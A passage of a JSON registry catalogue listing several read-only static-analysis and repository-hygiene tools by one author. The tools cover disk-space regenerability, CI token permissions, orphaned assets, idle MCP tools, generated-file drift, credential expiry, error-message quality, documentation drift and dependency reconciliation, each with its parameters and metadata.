answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search for source files. Must be 1 to 10.","example":"4"},{"name":"top","type":"string","required":false,"default":"5","description":"How many full candidate entries to print before the rest become a one-line index. Every candidate is still analysed and verified.","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c978149562bddd58dfd9ed7eddced930d0fd91f1edb977905339511a22c45376","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/regenerable-bytes@0.1.2","reference":"lgoyal6/regenerable-bytes@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/regenerable-bytes@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/regenerable-bytes@0.1.2","name":"regenerable-bytes","title":"regenerable-bytes","description":"`du -sh` tells you a directory is 40 GB. It does not tell you which 34 GB of that one command would put back. This sweeps one absolute root and splits every measured byte by whether it can be rebuilt: dependency trees, build output, per-project tool caches, machine-wide shared caches, and the remainder no command reproduces. The column it exists for is COST TO REGENERATE, and it is measured. A node_modules counts as regenerable only when the manifest still exists, a lockfile pins it, every host that lockfile resolves against is a public registry, the package manager is installed, and git does not track its contents. Each failure is a different verdict, because each costs you something different. Precision came from real damage: reading every URL in a lockfile turned donation pages into \"a private registry you may have lost access to\" for 10 of 14 sampled projects, and treating a scoped registry as global marked 65 trees blocked where 1 was. Needs python3 and du; git optional.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","disk-space-reclamation","tool-du","effect-read-only","disk-usage","regenerable-artifacts","node-modules","virtualenv","build-output","package-cache","shared-cache","lockfile","private-registry","cost-to-regenerate","orphaned-artifacts","tracked-source","scan-coverage","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:01:11.550156+00:00","visibility":"public","quality_score":1,"size_bytes":43714,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to sweep. A relative path is refused, because a step here runs with its working directory inside rote's own workspace rather than your shell, and a relative root would report a confident empty result about a tree you never asked about.","example":"/Users/you/code"},{"name":"budget_seconds","type":"string","required":false,"default":"90","description":"Wall-clock budget for each parallel shard of the sweep. Reaching it produces a labelled PARTIAL result, never a smaller number presented as the whole number.","example":"90"},{"name":"max_depth","type":"string","required":false,"default":"12","description":"How many directory levels below the root the sweep will descend before recording the rest as not entered","example":"12"},{"name":"max_shards","type":"string","required":false,"default":"24","description":"Upper bound on parallel sweep shards; a root with more top-level directories than this packs them round-robin so no single shard inherits the tail","example":"24"},{"name":"verify_budget_seconds","type":"string","required":false,"default":"150","description":"Wall-clock budget for the independent verification stage (du, git and the second lockfile read). Running out downgrades checks to uncertain rather than failing the report.","example":"150"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bd0237f61dab6584ca4ea76bddf07255ff61d3e72732f7cda9930f2e3d04c168","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/permission-creep@0.1.3","reference":"lgoyal6/permission-creep@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/permission-creep@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/permission-creep@0.1.3","name":"permission-creep","title":"permission-creep","description":"Your CI token can do far more than your CI needs. This reconciles what a GitHub Actions GITHUB_TOKEN is GRANTED - per job, because a job-level `permissions:` REPLACES the workflow's rather than merging with it - against what its steps actually use. A real example this play surfaced: a job granting `pull-requests: write` for PR comments while its script calls `issues.createComment`, which needs `issues: write`, not granted at all. That inverse, a step needing a scope the job lacks, is reported as a correctness risk rather than folded into the security findings. Graded: a granted write scope no step exercises, `write-all`, and, at the highest severity regardless of grants, `pull_request_target` checking out the PR head, which combines an elevated token with untrusted code. A step it cannot classify makes its whole job UNRESOLVED and its write scopes UNATTRIBUTABLE, never assumed unused. Read-only: no network, no gh, nothing executed. A secrets.NAME reference is reported by name only.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","engineering-workflows","job-ci-token-scope-reconciliation","tool-github-actions","effect-read-only","github-token","least-privilege","permissions-block","write-all","pull-request-target","oidc","id-token","unused-scope","over-privileged-token","supply-chain","ci-security","audience-maintainers","audience-oss-contributors","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:54.422376+00:00","visibility":"public","quality_score":1,"size_bytes":37351,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for repositories with GitHub Actions workflows. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it clean.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"5","description":"How many directory levels below root to look for repositories (a workflow file itself sits three levels deeper, under .github/workflows/)","example":"5"},{"name":"top","type":"string","required":false,"default":"15","description":"How many findings to print per section before the rest are summarised as a count","example":"15"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:66240119c3a3881406f76f59371915c2456325fde860630b01b2d7f0f69df362","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/orphan-asset@0.1.3","reference":"lgoyal6/orphan-asset@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/orphan-asset@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/orphan-asset@0.1.3","name":"orphan-asset","title":"orphan-asset","description":"Which tracked files does nothing in this repository reference? Not unused code - unreferenced ASSETS and DATA, which are easy to verify by eye and safe to review for deletion, so the list is directly actionable. For every committed image, font, video, icon, SVG, JSON, CSV or SQL file, this searches every OTHER tracked text file for that file's path and its basename. A full-path hit is a reference; a basename-only hit is reported UNCERTAIN and never called an orphan, because a bundler resolves bare names in ways a text search cannot see. Duplicate bytes are caught by sha256 after a size pre-filter, never by filename, and the unreferenced twin is reported with its match. Findings rank by bytes reclaimable, with one repository-wide total. Whole trees are excluded with the reason: vendored trees, LFS patterns, favicons, robots.txt, and anything a bundler reaches wholesale - Vite/Next `public/`, Django STATICFILES_DIRS, an import.meta.glob directory. It deletes nothing. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-repo-hygiene","tool-git","effect-read-only","unused-assets","dead-code","orphan-files","duplicate-detection","sha256","disk-space","repo-hygiene","static-analysis","reachability-analysis","public-directory","staticfiles-dirs","import-meta-glob","git-lfs","audience-maintainers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:43.026862+00:00","visibility":"public","quality_score":1,"size_bytes":39502,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and rank it as your answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on tracked files read per repository, for both the asset inventory and the reference haystack. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"4000"},{"name":"top","type":"string","required":false,"default":"15","description":"How many full candidate entries to print per repository before the rest become a one-line index. Every candidate is still analysed, verified and counted toward the byte total regardless of this cap.","example":"15"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2ef698e6c1abc1e8b5e6d0578945b3cb089a08b7456f839c30ff85b7c2624990","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/idle-capability@0.1.3","reference":"lgoyal6/idle-capability@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/idle-capability@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/idle-capability@0.1.3","name":"idle-capability","title":"idle-capability","description":"You have dozens of MCP servers wired into your agent. You have no idea which of their tools it has ever actually called, and every one of them is loaded on every turn regardless. This reads the session history already on your disk and answers it per TOOL, not per server, which is the whole point: a server-level check calls a server \"used\" when one of its forty tools fired once, so dead weight inside a live server stays invisible. On the machine this was built on, 631 of 676 declared MCP tools had no recorded invocation (93%), 41 of 53 servers had not one tool called, and 10 of 10 installed subagent definitions were never spawned, across 1,684 transcripts spanning 34 days. A call counts only as a structural tool_use block or a Codex function_call, never a name found in prose or in another tool's arguments. Every row reads \"no recorded invocation in the last N days of recorded sessions\", not \"never used\", with N measured. Read-only, no network, needs only python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-developer-tools","operations-workflows","job-agent-surface-audit","tool-shell","effect-read-only","mcp-servers","mcp-tools","subagents","invocation-evidence","declared-vs-invoked","session-transcripts","claude-code","codex","cursor","claude-desktop","agent-hygiene","unused-capability","context-bloat","audience-developers","audience-platform-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-developer-tools","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:21.311974+00:00","visibility":"public","quality_score":1,"size_bytes":32029,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["verify","analyze","discover","reconcile","selfcheck"]},"parameters":[{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the harness state (.claude/, .claude.json, .codex/). Empty means $HOME. A process.exec step runs in rote's own workspace rather than your shell, so a RELATIVE path would look for harness state inside that workspace, find none, and report a confident zero idle capabilities on a machine full of them; a relative value is refused with exit 2 instead.","example":"/Users/you"},{"name":"window_days","type":"string","required":false,"default":"0","description":"Only read session transcripts modified within this many days. 0 reads every transcript, which is the honest default because a narrower window can only make MORE things look idle - the direction this play must never drift in by accident.","example":"30"},{"name":"top","type":"string","required":false,"default":"25","description":"How many server rows and subagent rows to print. The full set is always written to report.json in the run workspace; this only bounds what is displayed, and every count shown is of the whole set rather than of the displayed slice.","example":"40"},{"name":"shards","type":"string","required":false,"default":"8","description":"How many parallel readers to split the transcript set across. Files are assigned largest-first by size so one huge transcript cannot become the whole runtime.","example":"4"},{"name":"max_files","type":"string","required":false,"default":"20000","description":"Hard cap on transcripts read. Hitting it is disclosed in the report as a truncated window rather than silently narrowing the evidence behind every idle claim.","example":"5000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e4ca9c813ed32ab193b9ab0a77e7f77306b01a5c705f6bb26a0340bbe5e4b464","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":8,"for_each_steps":2,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/generated-in-git@0.1.3","reference":"lgoyal6/generated-in-git@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/generated-in-git@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/generated-in-git@0.1.3","name":"generated-in-git","title":"generated-in-git","description":"Somebody edited the generated file instead of the input, and now the output in git is older than the thing that produces it. This finds which of a repository's TRACKED files are generated output lying about being source. Five signals, read from disk and three read-only git queries, never by running a generator: a generator's own banner (\"DO NOT EDIT\", @generated, protoc, sqlc, prisma, graphql-codegen); a file sitting in a directory the build config names as output; an extension paired with a generator input in the same directory (.pb.go next to .proto, .d.ts next to .ts); a tracked file .gitignore also names, so the ignore rule is inert; and DRIFT, the one that matters - a generated file whose last commit is OLDER than the last commit to its own input, reported with both dates and the gap in days, because that gap is the proof somebody is now reading a lie. On a shallow clone every file shares one commit date, so drift is UNCERTAIN there, never CLEAN. Needs python3, git and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-generated-code-drift-audit","tool-git","effect-read-only","generated-code","codegen","protobuf","openapi","graphql-codegen","sqlc","prisma","build-artifacts","gitignore","repo-hygiene","code-review","audience-platform-engineers","audience-tech-leads","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:13.488136+00:00","visibility":"public","quality_score":1,"size_bytes":37433,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and rank it as your answer.","example":"/Users/you/oss"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"max_files","type":"string","required":false,"default":"20000","description":"Cap on tracked files read per repository. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"20000"},{"name":"top","type":"string","required":false,"default":"5","description":"How many full candidate entries to print before the rest become a one-line index. Every candidate is still analysed, verified and counted.","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f1c6ff8602243e480b9037291c3b3abae83b5a7ae3f7c1e27b621aad82081a80","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/expiry-surface@0.1.2","reference":"lgoyal6/expiry-surface@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/expiry-surface@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/expiry-surface@0.1.2","name":"expiry-surface","title":"expiry-surface","description":"Something in your tree stops working on a specific future date, and nothing on your machine will remind you. Not a TODO somebody wrote about an expiry - the expiry itself, sitting inside a real artifact. Four signals, all read from the artifact rather than from a note about it: a committed .pem/.crt certificate, parsed from its raw DER notAfter with no OpenSSL binding and no network; a JWT-shaped run in a fixture or config whose payload carries a readable exp claim; a config key that declares an end (valid_until, sunset, eol, not_after, license_expiry and their kin) in YAML, TOML, JSON, .env or Helm values; and a cron or launchd schedule pinned to a year already in the past, which can never fire again. A deliberately expired test fixture is excluded with its reason and counted, because generating an expired cert to assert on is common and correct. A JWT is decoded only to reach its exp; not one character of the token ever leaves the process. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-expiry-audit","tool-git","effect-read-only","certificate-expiry","jwt-expiry","config-expiry-key","dead-schedule","x509","der-parsing","launchd-startcalendarinterval","apscheduler","quartz-cron","license-expiry","key-rotation","domain-expiry","credential-safety","audience-security-engineers","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:00:02.89158+00:00","visibility":"public","quality_score":1,"size_bytes":54468,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"top","type":"string","required":false,"default":"10","description":"How many full finding entries to print before the rest become a one-line index. Every finding is still analysed and verified.","example":"10"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on interesting files read per repository. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"6000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ee815eef061ac1b02ba099b37ab098c18fe3bcd79f40eb6fd8c736c85d78f7bf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/error-context@0.1.3","reference":"lgoyal6/error-context@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/error-context@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/error-context@0.1.3","name":"error-context","title":"error-context","description":"When this code fails at 3am, does the error it raises tell a responder anything they could act on? This asks that at the RAISE site, not the catch site. Ranked by how long the responder loses. Worst is a handler that raises a NEW error while discarding the one it caught: `raise X(...) from None`, a JS `throw new X()` with no `{ cause: e }`, Go wrapping with `%v` instead of `%w`, or a fresh `errors.New` that never references the `err` already in scope. Next is the same literal message raised from three or more distinct places, so a log line alone cannot say which one fired. Then a bare fixed string with no interpolated id or value. Last, a message that only echoes its own exception type. Reported separately: a LEAK RISK where a message interpolates a variable whose NAME suggests a secret, given by name and location only, because this play never evaluates the expression it flags and so never holds a value to leak. Python via stdlib ast, never regex. Nothing is executed. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-reliability-audit","tool-static-analysis","effect-read-only","error-messages","uninformative-errors","exception-chaining","raise-from-none","lost-stack-trace","error-wrapping","errors-is-as","duplicate-log-message","secret-in-error-message","leak-risk","audience-developers","audience-sre","audience-oncall","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:58.480462+00:00","visibility":"public","quality_score":1,"size_bytes":43013,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the codebase to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/your-project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source files. Must be 1 to 12.","example":"10"},{"name":"max_bytes","type":"string","required":false,"default":"500000","description":"Cap on bytes read per source file. A file over the cap is still scanned, up to the cap, and marked so a partial read is never reported as a clean one.","example":"500000"},{"name":"top","type":"string","required":false,"default":"10","description":"How many full candidate entries to print before the rest become a one-line index. Every candidate is still analysed, verified and counted.","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0334348b98f27032399fe9057222212ffeed4c51c02a97d4357dfbc241c3a23a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":12,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/docs-signature-drift@0.1.2","reference":"lgoyal6/docs-signature-drift@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/docs-signature-drift@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/docs-signature-drift@0.1.2","name":"docs-signature-drift","title":"docs-signature-drift","description":"Someone pastes the example from your README and it throws a TypeError. The function grew a required argument, or lost a keyword, and the docs never moved. This asks whether a documented example still calls a function the way that function really works. Seven findings, ranked by how fast a reader hits the failure. Critical: a documented CLI invocation using a flag argparse, click, cobra or yargs does not define, because pasted verbatim it fails immediately; and a documented call naming a function that no longer exists where it was resolved. Then a `from x.y import z` where z is not defined in a real file, a call short of required arguments, a keyword the signature does not accept, and an attribute a resolved class lacks. A function with **kwargs, a class with __getattr__, an OUTPUT-labelled block: each is excluded with a named reason. Zero problems because nothing could be resolved is the one outcome this refuses to produce silently. Offline, read-only, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-documentation-audit","tool-markdown","tool-python","tool-javascript","tool-typescript","effect-read-only","documentation-drift","api-drift","signature-mismatch","broken-example","cli-flags","argparse","click","cobra","commander","yargs","static-analysis","ast","contributor-experience","audience-maintainers","audience-oss-contributors","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:50.119292+00:00","visibility":"public","quality_score":1,"size_bytes":59915,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for repositories that publish documentation. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell's directory and a relative root would scan rote's workspace and report a confident clean about a tree nobody asked about.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for repositories","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print per severity section before the rest are summarised as a count","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9b69032a9cebe54912afbbdcfacfa474d46e5b334974884e3e9b571bce8ef44b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/dependency-reach@0.1.2","reference":"lgoyal6/dependency-reach@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/dependency-reach@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/dependency-reach@0.1.2","name":"dependency-reach","title":"dependency-reach","description":"Which declared dependencies does this project never import, and which imports has it never declared? The second half is the one that bites: an import resolving to no manifest works only because a transitive dependency happens to carry it, and it breaks the day that pin moves. This reconciles package.json, requirements.txt/pyproject.toml, go.mod and Cargo.toml against every import it actually resolves, in both directions at once. Ranked by cost: an undeclared import is critical; a dependency declared only under devDependencies but imported by shipped code is high, because the production install never carries it; a runtime dependency imported only from tests is medium, and so is one never imported at all. A short import root with no mapping entry is marked UNRESOLVED, counted, and never called undeclared. Every run prints that count and says plainly that \"unused\" is a suggestion to check, never a licence to delete. Executes nothing: no install, no tidy, no build. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-dependency-declaration-reconciliation","tool-npm","tool-pip","tool-go-modules","tool-cargo","effect-read-only","dependency-hygiene","unused-dependency","undeclared-dependency","dev-dependency-misuse","import-reconciliation","declared-vs-imported","package-json","pyproject-toml","go-mod","cargo-toml","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:47.82574+00:00","visibility":"public","quality_score":1,"size_bytes":59168,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for projects. A relative path is REFUSED, because a step runs in rote's own workspace rather than your shell directory, so a relative root would scan rote's workspace, find no project, and report a confident clean about a tree nobody asked about.","example":"/Users/you/myservice"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for projects, so a directory of repositories is reconciled repository by repository","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print per severity section before the rest are summarised as a count. Every finding is always COUNTED; this only bounds the 